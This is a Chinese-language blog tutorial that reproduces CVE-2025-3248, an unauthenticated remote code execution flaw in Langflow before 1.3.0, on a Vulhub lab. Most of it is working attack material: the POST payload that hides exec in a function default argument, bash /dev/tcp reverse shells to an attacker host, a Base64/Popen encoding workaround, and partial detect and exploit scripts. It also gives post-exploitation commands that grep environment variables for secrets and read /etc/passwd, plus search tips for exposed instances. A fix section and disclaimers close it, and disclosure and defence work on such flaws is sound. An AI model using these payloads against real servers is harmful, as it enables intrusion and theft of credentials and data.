漏洞利用演示视频
👉 CVE-2025-3248 Langflow未授权RCE漏洞复现与GetShell全流程
这篇文章我把从环境搭建到反弹Shell的每一步都拆给你看,包括我自己踩过的三次坑、每次失败的原因分析,以及最终绕过所有编码陷阱的两种方案。最后还附了一个开箱即用的探测脚本和利用脚本,你照着敲就能复现。
这个漏洞编号 CVE-2025-3248,CVSS评分9.8,属于「未授权远程代码执行」——不用登录、不用密码,一个POST请求就能在服务器上跑命令。Langflow是现在AI圈特别火的可视化工作流工具,很多公司和个人开发者都在用,公网上暴露的实例不少。
整个攻击链路其实就四步:环境搭建 → 漏洞利用 → 命令执行 → 反弹Shell拿下服务器。下面这张图是完整流程概览,你可以先有个整体印象,后面我一步步拆。

本文仅用于合法的安全研究和教育目的,请确保测试系统拥有合法授权。
一、漏洞背景
Langflow是一个开源的AI工作流可视化工具,你可以理解成「AI版的Scratch」——不用写代码,拖拽几个节点连连线,就能搭出一个基于大模型的智能体或者自动化流程。它提供Web界面,默认跑在7860端口。
在1.3.0版本之前,Langflow有一个接口 /api/v1/validate/code,功能很单纯:帮你检查提交的Python代码语法对不对。你发一段函数定义过去,它用ast模块做语法检查,然后用exec执行一下函数定义本身——注意,只是定义,不调用。
开发者当时的想法很朴素:我又不调用这个函数,只是定义一下,能有什么危险?
问题就出在Python的执行语义上。Python定义一个函数的时候,函数的默认参数表达式会立刻被求值,而不是等调用的时候才算。这跟很多语言不一样。打个比方:你写一张请假条,上面写「请假原因:(附医院诊断证明)」,正常逻辑是领导看到请假条再看证明,但Python的逻辑是——你刚写下这句话,诊断证明就已经开出来了,不管领导批不批。
攻击者就利用了这个特性,提交一个看起来很正常的函数定义,但在默认参数里偷偷藏了执行系统命令的代码。系统刚拿到这段代码准备「检查语法」,默认参数里的恶意代码就已经跑起来了。全程不用调用函数、不用登录验证,请求发过去就执行。
这就好比你家门上装了个「访客留言板」,本来是让访客留言的,结果留言板会把访客写的每一句话都当成给户主的命令照做——访客写一句「把保险柜打开」,保险柜就真的开了。
- 受影响版本: Langflow < 1.3.0
- 修复版本: Langflow 1.3.0 及以上
这个漏洞在野利用其实不少。原因很简单:Langflow这两年随着AI浪潮火得一塌糊涂,很多团队为了快速验证AI应用,随手就在公网服务器上docker run一个,默认配置、默认端口、啥安全措施都不加。你用FOFA或者ZoomEye搜一下port:"7860" && "Langflow",能看到一大堆暴露在公网的实例——其中相当一部分版本低于1.3.0,直接就能打。
更讽刺的是,很多人部署Langflow是为了做「AI安全助手」或者「自动化安全运营平台」,结果自己的平台先被人拿了Shell。这就跟卖防盗门的人家门被撬了一样,说出去都没人信,但它就是发生了。
二、环境搭建
直接用Vulhub启动,一行命令的事。Vulhub里这个漏洞的路径是 vulhub/langflow/CVE-2025-3248/。
cd vulhub/langflow/CVE-2025-3248/
docker compose up -d
启动后访问 http://{业务目标ip}:7860,看到Langflow的登录界面就说明靶场就绪了。

默认账号是 administrator:vulhub,可以登录进去体验一下Langflow的界面。但接下来的漏洞利用完全不需要登录——这也是这个漏洞最可怕的地方,登录页形同虚设。
三、漏洞复现
步骤1:构造POC Payload
直接向 /api/v1/validate/code 接口发送一个POST请求,请求体里放一段带恶意默认参数的Python函数定义。
这里用了一个经典的回显技巧:在raise Exception()里包裹命令输出,让执行结果出现在错误信息里返回给我们。
POST /api/v1/validate/code HTTP/1.1
Host: {业务目标ip}:7860
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json
{"code": "def test(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')):\n pass"}
这段payload看起来有点绕,我逐字段拆给你看:
def test(cd=...)—— 定义一个叫test的函数,cd是它的默认参数。关键就在这里:Python定义函数时会立刻求值默认参数exec('...')—— 执行括号里的Python代码字符串。这是真正的「触发器」raise Exception(...)—— 抛出一个异常,异常信息就是括号里的内容。Langflow的接口会把异常详情返回在响应中,这就是我们的「回显通道」__import__('subprocess')—— 动态导入subprocess模块。为什么不用import subprocess?因为在exec的字符串里,import语句的作用域处理比较麻烦,用__import__更稳妥.check_output("id", shell=True)—— 执行id命令并捕获输出。shell=True表示通过shell解释器执行,后面会讲到这个参数的重要性
整段代码的执行流程是:Langflow用exec加载函数定义 → Python求值默认参数cd → 触发内层exec → 执行subprocess.check_output("id") → 把输出包进Exception抛出 → 异常信息出现在HTTP响应中。

步骤2:验证命令执行
发送请求后,看响应体。如果返回了类似下面的内容,就说明命令执行成功了:
{
"imports": {"errors": []},
"function": {"errors": ["b'uid=0(root) gid=0(root) groups=0(root)\\n'"]}
}
看到 uid=0(root) 了吗?这说明我们不仅执行了命令,还是以root权限执行的。Langflow的Docker容器默认就是root用户运行,这意味着一旦被攻破,攻击者直接拿到容器内的最高权限。
到这一步,网上90%的教程就结束了。但说实话,能执行id命令只能证明漏洞存在,离真正拿下服务器还差得远。接下来才是硬骨头。
四、GetShell:拿下服务器
能执行id只是第一步。真正有价值的是拿到一个交互式的反弹Shell——这样你才能在目标机器上自由操作,翻文件、提权、横向移动,想干嘛干嘛。
这一步我踩了好几个坑,先把失败的过程写出来,再给最终方案。你看完就会明白,为什么那么多教程到id就停了——不是不想写,是真的容易翻车。
步骤1:第一次尝试——直接拼接反弹命令
最直接的想法:把payload里的id替换成反弹Shell命令不就行了?
{"code": "def test(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"bash -c \\'/bin/bash -i >& /dev/tcp/{攻击ip}/{listen_port} 0>&1\\'\", shell=True))')):\n pass"}
发送之后,响应是空的。VPS上的nc -lvvp {listen_port}也没有任何动静。
我当时盯着终端看了半分钟,确认不是网络延迟,就是没弹回来。
步骤2:第二次尝试——调整引号和转义
问题大概率出在引号嵌套上。你想想,这段payload穿过了多少层:
- JSON层 —— 双引号需要
\"转义,反斜杠需要\\表示 - Python字符串层 ——
exec()的参数是一个字符串,内部的引号需要二次转义 - bash层 ——
bash -c接收的命令字符串中,&、>、/dev/tcp这些特殊字符穿过前两层后,很可能已经面目全非了
反弹Shell的命令越长、特殊字符越多,在这个「三层夹心结构」里存活的概率就越低。id这种简单命令没事,但带重定向和/dev/tcp的bash反弹命令几乎不可能保持语义完整。
我尝试改用列表形式传参、改用不同的引号组合,折腾了好几轮,结果都是一样——要么返回语法错误,要么静默失败连个报错都不给。
🚩 踩坑提示
当你发现payload「静默失败」——没有报错、没有回显、连接也没建立——大概率是命令在某一层编码中被解析坏了。不要盲目试错,先把每一层的转义规则理清楚。
步骤3:找到根本原因——减少编码层数
成功的关键不是反复试错,而是减少层数。
既然复杂命令无法直接嵌入JSON字符串,那就换个思路:把命令用Base64编码成一串纯字母数字,到目标端再解码执行。Base64字符串里没有引号、没有反斜杠、没有特殊字符,穿过JSON和Python字符串层时完全不会被破坏。
同时,把check_output换成Popen。check_output会阻塞等待命令执行完毕,而反弹Shell是一个持续运行的交互式进程,会一直占着不退出,导致HTTP请求超时甚至被服务端杀掉。Popen是后台执行,发出去就不管了,命令在后台跑,HTTP请求正常返回。
这两个改动组合起来,就是最终的利用方案:
import base64
# 反弹Shell命令
reverse_cmd = f"bash -c '/bin/bash -i >& /dev/tcp/{攻击ip}/{listen_port} 0>&1'"
# Base64编码,得到一串纯字符
b64 = base64.b64encode(reverse_cmd.encode('utf-8')).decode('ascii')
# 构造payload:Popen后台执行 + base64解码
payload = (
'def test(cd=exec(\'__import__("subprocess").Popen('
'__import__("base64").b64decode("' + b64 + '").decode(), shell=True)\')):\n'
' pass'
)
你看,最终的payload里,命令部分变成了一串Base64编码,没有任何特殊字符,穿过JSON和Python层时完好无损。到了目标端,base64.b64decode()解码还原成原始命令,Popen在后台执行。
💡 核心原理
Base64编码的本质是「把复杂内容变成简单字符」。当你的payload需要穿过多层编码/转义时,把最容易出问题的部分(含特殊字符的命令)编码成「安全字符」,是绕过转义陷阱的通用思路。这个技巧在SQL注入、命令执行、XSS等场景中都用得到。
步骤4:开启监听
在你的VPS(攻击机)上先启动nc监听,等着目标连回来:
nc -lvvp {listen_port}
-l表示监听模式,-v显示详细信息,-p指定端口。执行后会显示 Listening on 0.0.0.0 {listen_port},就说明监听已经就绪。
步骤5:触发漏洞
把构造好的payload发送到目标的漏洞接口。你可以用Burp Suite重放,也可以直接用Python脚本发送。
python exploit.py -t http://{业务目标ip}:7860 -lhost {攻击ip} -lport {listen_port}

发送之后,注意看nc监听的终端。如果一切正常,几秒钟之内就会收到来自目标的连接:
Connection received on {业务目标ip} xxxxx
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@xxxxxxxx:/usr/src#
看到 root@ 提示符了吗?Shell弹回来了。
步骤6:验证权限
在反弹回来的Shell里执行几条命令,确认一下权限和系统信息:
whoami
id
uname -a
pwd

whoami返回root,id返回uid=0(root),确认是root权限。pwd显示当前在/usr/src目录下。到这一步,服务器已经在你的完全控制之下了。
拿到Shell之后,你可以做的事情就多了。比如看看容器里跑了什么进程:
ps aux
看看网络连接情况,有没有其他服务在跑:
netstat -tlnp
翻翻环境变量,很多应用会把数据库密码、API密钥写在环境变量里:
env | grep -i -E 'pass|secret|key|token'
看看Langflow的配置文件和数据库在哪,说不定能翻出用户的工作流定义和API密钥:
find / -name "*.db" -o -name "langflow*" 2>/dev/null | head -20
这些信息每一个都可能成为进一步入侵的跳板——拿到数据库密码可以连数据库拖库,拿到API密钥可以调用云服务,拿到其他服务的凭证可以横向移动。这就是为什么一个未授权RCE漏洞的危害远不止「能执行个命令」那么简单。
当然,在授权测试中,拿到Shell之后做什么、做到什么程度,需要跟甲方确认范围,不要越界。
五、踩坑与避坑
坑1:三层编码转义的噩梦
前面已经详细描述了反弹Shell payload多次失败的过程。这里再归纳一下根本原因。
JSON → Python字符串 → subprocess → bash,这个四层结构中,每一层对特殊字符的处理规则都不一样。你在最外层写的一对引号,传到bash那里可能已经丢了、被转义了、或者跟别的引号错误配对了。&在JSON里是普通字符,但在bash里是后台运行符;>在Python字符串里是普通字符,但在bash里是重定向符。每穿过一层,语义就可能被曲解一次。
解决方案: 不要试图在每一层都「正确转义」,层数越多越容易出错。最靠谱的办法是减少层数——用Base64把命令编码成安全字符,或者把payload写在独立文件里由脚本读入发送,都能大幅降低复杂度。
我在这上面卡了快一个小时,最后想通的那一刻感觉自己像个傻子——早知道用Base64,省多少事。
坑2:shell=True 不能省
最开始我尝试用列表形式传参:subprocess.check_output(['bash', '-c', '/bin/bash -i >& /dev/tcp/...']),觉得这样更安全,不用处理引号。
结果反弹Shell一直失败。后来才反应过来:当用列表形式传参时,subprocess不会经过shell解释器,而是直接执行第一个元素作为程序。这意味着bash重定向语法>&和/dev/tcp/...不会被shell解析——/dev/tcp是bash的特性,不是真正的设备文件,没有shell解释器就不会生效。
解决方案: 反弹Shell必须用shell=True,让命令经过bash解释器。代价是需要注意命令注入风险,但在漏洞利用场景下这不是问题。
坑3:check_output 会阻塞
用check_output执行反弹Shell命令时,HTTP请求会一直挂着,直到超时。因为check_output会等待子进程执行完毕并捕获输出,而反弹Shell是一个持续运行的交互式进程,永远不会「执行完毕」。
有些Web服务器会在请求超时后杀掉对应的进程树,导致反弹Shell刚建立就被干掉。
解决方案: 用subprocess.Popen替代check_output。Popen是异步的,启动子进程后立即返回,不等待命令结束。这样HTTP请求正常返回,反弹Shell在后台继续运行。
坑4:目标出网与端口选择
反弹Shell的前提是目标机器能主动连接到你的VPS。如果目标在严格的内网环境中,限制了出站连接,那反弹Shell就会失败。
另外,端口选择也有讲究。建议用8080、8443、443、25001这类常见端口,尽量避免用非常用端口——有些防火墙会对出站连接做端口限制,只允许80、443等常见端口出站。
我自己习惯用25001这个端口,不常见但也不偏僻,目前没遇到过被拦的情况。
六、一键利用脚本
每次手动构造payload、发请求太麻烦,尤其是批量测试的时候,一个一个手敲能累死。我整理了两个脚本,一个用来探测漏洞是否存在,一个用来直接反弹Shell。两个脚本都只用Python标准库,不需要装任何第三方依赖,拷过去就能跑。
detect.py——漏洞探测脚本
这个脚本是「无副作用」的,只执行id命令验证漏洞是否存在,不会改变目标系统的任何状态。适合用在授权测试前的资产摸排阶段。
核心逻辑很简单:构造一个执行id的payload,发送到目标接口,检查响应中是否包含uid=。
def check_vulnerable(target):
url = target.rstrip('/') + '/api/v1/validate/code'
code = (
'def test(cd=exec(\'raise Exception(__import__("subprocess")'
'.check_output("id", shell=True))\')):\n pass'
)
payload = json.dumps({"code": code}).encode('utf-8')
req = urllib.request.Request(url, data=payload, method='POST')
req.add_header('Content-Type', 'application/json')
with urllib.request.urlopen(req, timeout=15) as resp:
body = resp.read().decode('utf-8', errors='ignore')
if 'uid=' in body:
print("[+] CVE-2025-3248 CONFIRMED - Langflow unauth RCE")
return 0
return 1
用法:
python detect.py -t http://{业务目标ip}:7860
如果存在漏洞,输出大概长这样:
[+] Target: http://{业务目标ip}:7860
[+] Testing CVE-2025-3248 (Langflow unauth RCE)...
[+] Command output detected: uid=0(root)
[+] CVE-2025-3248 CONFIRMED - Langflow unauth RCE
如果目标需要认证(返回401/403)或者接口不存在(404),脚本会明确告诉你原因,不会误报。加-v参数可以看到完整的HTTP请求和响应,适合调试的时候用。
exploit.py——漏洞利用脚本
这个脚本用来真正拿下服务器。它用了前面讲到的两个关键技巧:Base64编码绕过转义、Popen后台执行避免阻塞。
核心的payload构造函数:
def build_payload(cmd):
b64 = base64.b64encode(cmd.encode('utf-8')).decode('ascii')
code = (
'def test(cd=exec(\'__import__("subprocess").Popen('
'__import__("base64").b64decode("' + b64 + '").decode(), shell=True)\')):\n'
' pass'
)
return code
反弹Shell的命令是经典的bash /dev/tcp 方式:
reverse_cmd = f"bash -c '/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
用法也很简单,先在VPS上开监听,再执行脚本:
# 攻击机上开启监听
nc -lvvp {listen_port}
# 另一个终端执行利用脚本
python exploit.py -t http://{业务目标ip}:7860 -lhost {攻击ip} -lport {listen_port}
脚本还支持-c参数自定义执行命令(带回显),适合在拿Shell之前先执行一些探测命令,确认目标环境和权限:
python exploit.py -t http://{业务目标ip}:7860 -c "cat /etc/passwd"
python exploit.py -t http://{业务目标ip}:7860 -c "uname -a"
python exploit.py -t http://{业务目标ip}:7860 -c "ls -la /"
自定义命令模式用的是check_output获取回显,命令同样走Base64编码,所以不用担心特殊字符被转义破坏。这个模式在你不想弹Shell、只想快速执行一两条命令拿信息的时候特别好用——比如先看看目标上有没有装docker、有没有其他服务、root目录里有什么文件,心里有数了再决定要不要弹Shell。
加-v参数可以看到Base64编码后的payload和完整的HTTP响应,调试的时候很方便。
七、修复建议
-
升级到1.3.0及以上版本。官方已在1.3.0中修复了该漏洞,将
exec替换为更安全的代码校验方式,不再执行用户提交的函数定义。 -
为
/api/v1/validate/code接口添加认证。这是一个内部API,不应该对未登录用户开放。在反向代理层(Nginx/Traefik)或应用层添加鉴权拦截,禁止匿名访问。 -
避免直接使用
exec执行用户代码。如果业务确实需要执行用户提交的代码,应在沙箱环境中运行,限制可用模块和系统调用。Python的RestrictedPython可以作为替代方案。 -
网络层限制暴露。将7860端口绑定到
127.0.0.1而非0.0.0.0,通过反向代理对外暴露,并在代理层实施访问控制和IP白名单。AI工具类服务尽量不要直接暴露在公网。 -
部署WAF规则。对
/api/v1/validate/code路径添加请求频率限制和内容检测规则,拦截包含__import__、subprocess、exec、base64等敏感关键字的请求体。
八、写在最后
这个漏洞最有意思的地方在于,它的成因不是什么复杂的技术缺陷,而是一个编程语言的「特性」被忽略了。Python函数默认参数在定义时求值——这个特性写在Python官方文档里,每个Python开发者都应该知道,但Langflow的开发者在用exec执行用户代码时,显然没把它当回事。
再加上未授权访问这个「雪上加霜」的配置,两个看似不严重的问题组合在一起,就变成了9.8分的致命漏洞。
从复现POC到真正拿下服务器,中间那几步才是实战中最值得琢磨的地方。我花了不少篇幅记录反弹Shell失败的排查过程,因为这种「看似能行,实际上被编码细节卡住」的情况,在实际渗透中太常见了。网上的教程大多只给你成功的那条路径,但真正能让你成长的,是那些失败的尝试和排查的思路。
如果你在研究这个漏洞的过程中遇到了其他问题,欢迎评论区留言,我看到了会回。这个专栏后续还会更新更多从漏洞验证到GetShell的完整链路,每一篇都走到拿下服务器为止,不止于POC复现。
最后提醒一句:如果你自己或者公司在用Langflow,现在就去查一下版本号和端口暴露情况。版本低于1.3.0的赶紧升,7860端口直接对公网开放的赶紧加访问控制。安全这件事,早做总比出事了再补救强——等服务器被人种了挖矿木马、数据被拖了,再想起来补漏洞,就晚了。
本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。

被折叠的 条评论
为什么被折叠?



